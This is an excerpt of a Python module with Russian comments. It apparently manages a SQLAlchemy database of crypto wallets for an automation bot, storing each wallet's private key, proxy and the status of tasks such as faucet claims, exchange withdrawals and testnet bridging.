77 | logger.success(f"Added wallet {private_key[:4]}...{private_key[-4:]}")
78 |
79 | async def update_task_status(
80 | self, private_key: str, task_name: str, new_status: str
81 | ) -> None:
82 | """
83 | Обновление статуса конкретной задачи
84 |
85 | :param private_key: Приватный ключ кошелька
86 | :param task_name: Название задачи
87 | :param new_status: Новый статус (pending/completed)
88 | """
89 | async with self.session() as session:
90 | wallet = await self._get_wallet(session, private_key)
91 | if not wallet:
92 | logger.error(f"Wallet {private_key[:4]}...{private_key[-4:]} not found")
93 | return
94 |
95 | tasks = json.loads(wallet.tasks)
96 | for task in tasks:
97 | if task["name"] == task_name:
98 | task["status"] = new_status
99 | break
100 |
101 | wallet.tasks = json.dumps(tasks)
102 |
103 | # Проверяем, все ли задачи выполнены
104 | if all(task["status"] == "completed" for task in tasks):
105 | wallet.status = "completed"
106 |
107 | await session.commit()
108 | logger.info(
109 | f"Updated task {task_name} to {new_status} for wallet {private_key[:4]}...{private_key[-4:]}"
110 | )
111 |
112 | async def clear_wallet_tasks(self, private_key: str) -> None:
113 | """
114 | Очистка всех задач кошелька
115 |
116 | :param private_key: Приватный ключ кошелька
117 | """
118 | async with self.session() as session:
119 | wallet = await self._get_wallet(session, private_key)
120 | if not wallet:
121 | return
122 |
123 | wallet.tasks = json.dumps([])
124 | wallet.status = "pending"
125 | await session.commit()
126 | logger.info(
127 | f"Cleared all tasks for wallet {private_key[:4]}...{private_key[-4:]}"
128 | )
129 |
130 | async def update_wallet_proxy(self, private_key: str, new_proxy: str) -> None:
131 | """
132 | Обновление прокси кошелька
133 |
134 | :param private_key: Приватный ключ кошелька
135 | :param new_proxy: Новый прокси
136 | """
137 | async with self.session() as session:
138 | wallet = await self._get_wallet(session, private_key)
139 | if not wallet:
140 | return
141 |
142 | wallet.proxy = new_proxy
143 | await session.commit()
144 | logger.info(
145 | f"Updated proxy for wallet {private_key[:4]}...{private_key[-4:]}"
146 | )
147 |
148 | async def get_wallet_tasks(self, private_key: str) -> List[Dict]:
149 | """
150 | Получение всех задач кошелька
151 |
152 | :param private_key: Приватный ключ кошелька
153 | :return: Список задач с их статусами
154 | """
155 | async with self.session() as session:
156 | wallet = await self._get_wallet(session, private_key)
157 | if not wallet:
158 | return []
159 | return json.loads(wallet.tasks)
160 |
161 | async def get_pending_tasks(self, private_key: str) -> List[str]:
162 | """
163 | Получение всех незавершенных задач кошелька
164 |
165 | :param private_key: Приватный ключ кошелька
166 | :return: Список названий незавершенных задач
167 | """
168 | tasks = await self.get_wallet_tasks(private_key)
169 | return [task["name"] for task in tasks if task["status"] == "pending"]
170 |
171 | async def get_completed_tasks(self, private_key: str) -> List[str]:
172 | """
173 | Получение всех завершенных задач кошелька
174 |
175 | :param private_key: Приватный ключ кошелька
176 | :return: Список названий завершенных задач
177 | """
178 | tasks = await self.get_wallet_tasks(private_key)
179 | return [task["name"] for task in tasks if task["status"] == "completed"]
180 |
181 | async def get_uncompleted_wallets(self) -> List[Dict]:
182 | """
183 | Получение списка всех кошельков с невыполненными задачами
184 |
185 | :return: Список кошельков с их данными
186 | """
187 | async with self.session() as session:
188 | from sqlalchemy import select
189 |
190 | query = select(Wallet).filter_by(status="pending")
191 | result = await session.execute(query)
192 | wallets = result.scalars().all()
193 |
194 | # Преобразуем в список словарей для удобства использования
195 | return [
196 | {
197 | "private_key": wallet.private_key,
198 | "proxy": wallet.proxy,
199 | "status": wallet.status,
200 | "tasks": json.loads(wallet.tasks),
201 | }
202 | for wallet in wallets
203 | ]
204 |
205 | async def get_wallet_status(self, private_key: str) -> Optional[str]:
206 | """
207 | Получение статуса кошелька
208 |
209 | :param private_key: Приватный ключ кошелька
210 | :return: Статус кошелька или None если кошелёк не найден
211 | """
212 | async with self.session() as session:
213 | wallet = await self._get_wallet(session, private_key)
214 | return wallet.status if wallet else None
215 |
216 | async def _get_wallet(
217 | self, session: AsyncSession, private_key: str
218 | ) -> Optional[Wallet]:
219 | """Внутренний метод для получения кошелька по private_key"""
220 | from sqlalchemy import select
221 |
222 | result = await session.execute(
223 | select(Wallet).filter_by(private_key=private_key)
224 | )
225 | return result.scalar_one_or_none()
226 |
227 | async def add_tasks_to_wallet(self, private_key: str, new_tasks: List[str]) -> None:
228 | """
229 | Добавление новых задач к существующему кошельку
230 |
231 | :param private_key: Приватный ключ кошелька
232 | :param new_tasks: Список новых задач для добавления
233 | """
234 | async with self.session() as session:
235 | wallet = await self._get_wallet(session, private_key)
236 | if not wallet:
237 | return
238 |
239 | current_tasks = json.loads(wallet.tasks)
240 | current_task_names = {task["name"] for task in current_tasks}
241 |
242 | # Добавляем только новые задачи
243 | for task in new_tasks:
244 | if task not in current_task_names:
245 | current_tasks.append({"name": task, "status": "pending"})
246 |
247 | wallet.tasks = json.dumps(current_tasks)
248 | wallet.status = (
249 | "pending" # Если добавили новые задачи, статус снова pending
250 | )
251 | await session.commit()
252 | logger.info(
253 | f"Added new tasks for wallet {private_key[:4]}...{private_key[-4:]}"
254 | )
255 |
256 | async def get_completed_wallets_count(self) -> int:
257 | """
258 | Получение количества кошельков, у которых выполнены все задачи
259 |
260 | :return: Количество завершенных кошельков
261 | """
262 | async with self.session() as session:
263 | from sqlalchemy import select, func
264 |
265 | query = (
266 | select(func.count()).select_from(Wallet).filter_by(status="completed")
267 | )
268 | result = await session.execute(query)
269 | return result.scalar()
270 |
271 | async def get_total_wallets_count(self) -> int:
272 | """
273 | Получение общего количества кошельков в базе
274 |
275 | :return: Общее количество кошельков
276 | """
277 | async with self.session() as session:
278 | from sqlalchemy import select, func
279 |
280 | query = select(func.count()).select_from(Wallet)
281 | result = await session.execute(query)
282 | return result.scalar()
283 |
284 | async def get_wallet_completed_tasks(self, private_key: str) -> List[str]:
285 | """
286 | Получение списка выполненных задач кошелька
287 |
288 | :param private_key: Приватный ключ кошелька
289 | :return: Список названий выполненных задач
290 | """
291 | tasks = await self.get_wallet_tasks(private_key)
292 | return [task["name"] for task in tasks if task["status"] == "completed"]
293 |
294 | async def get_wallet_pending_tasks(self, private_key: str) -> List[Dict]:
295 | """
296 | Получение списка невыполненных задач кошелька
297 |
298 | :param private_key: Приватный ключ кошелька
299 | :return: Список задач с их индексами и статусами
300 | """
301 | tasks = await self.get_wallet_tasks(private_key)
302 | return [task for task in tasks if task["status"] == "pending"]
303 |
304 | async def get_completed_wallets(self) -> List[Dict]:
305 | """
306 | Получение списка всех кошельков с выполненными задачами
307 |
308 | :return: Список кошельков с их данными
309 | """
310 | async with self.session() as session:
311 | from sqlalchemy import select
312 |
313 | query = select(Wallet).filter_by(status="completed")
314 | result = await session.execute(query)
315 | wallets = result.scalars().all()
316 |
317 | return [
318 | {
319 | "private_key": wallet.private_key,
320 | "proxy": wallet.proxy,
321 | "status": wallet.status,
322 | "tasks": json.loads(wallet.tasks),
323 | }
324 | for wallet in wallets
325 | ]
326 |
327 | async def get_wallet_tasks_info(self, private_key: str) -> Dict:
328 | """
329 | Получение полной информации о задачах кошелька
330 |
331 | :param private_key: Приватный ключ кошелька
332 | :return: Словарь с информацией о задачах
333 | """
334 | tasks = await self.get_wallet_tasks(private_key)
335 | completed = [task["name"] for task in tasks if task["status"] == "completed"]
336 | pending = [task["name"] for task in tasks if task["status"] == "pending"]
337 |
338 | return {
339 | "total_tasks": len(tasks),
340 | "completed_tasks": completed,
341 | "pending_tasks": pending,
342 | "completed_count": len(completed),
343 | "pending_count": len(pending),
344 | }
345 |
346 |
347 | # # Создание и инициализация БД
348 | # db = Database()
349 | # await db.init_db()
350 |
351 | # # Добавление кошелька с задачами
352 | # await db.add_wallet(
353 | # private_key="0x123...",
354 | # proxy="http://proxy1.com",
355 | # tasks_list=["FAUCET", "OKX_WITHDRAW", "TESTNET_BRIDGE"]
356 | # )
357 |
358 | # # Обновление статуса задачи
359 | # await db.update_task_status(
360 | # private_key="0x123...",
361 | # task_name="FAUCET",
362 | # new_status="completed"
363 | # )
364 |
365 | # # Получение списка незавершенных задач
366 | # pending_tasks = await db.get_pending_tasks("0x123...")
367 |
368 | # # Очистка задач кошелька
369 | # await db.clear_wallet_tasks("0x123...")
370 |
371 | # # Добавление новых задач к существующему кошельку
372 | # await db.add_tasks_to_wallet(
373 | # private_key="0x123...",
374 | # new_tasks=["NEW_TASK1", "NEW_TASK2"]
375 | # )
376 |
--------------------------------------------------------------------------------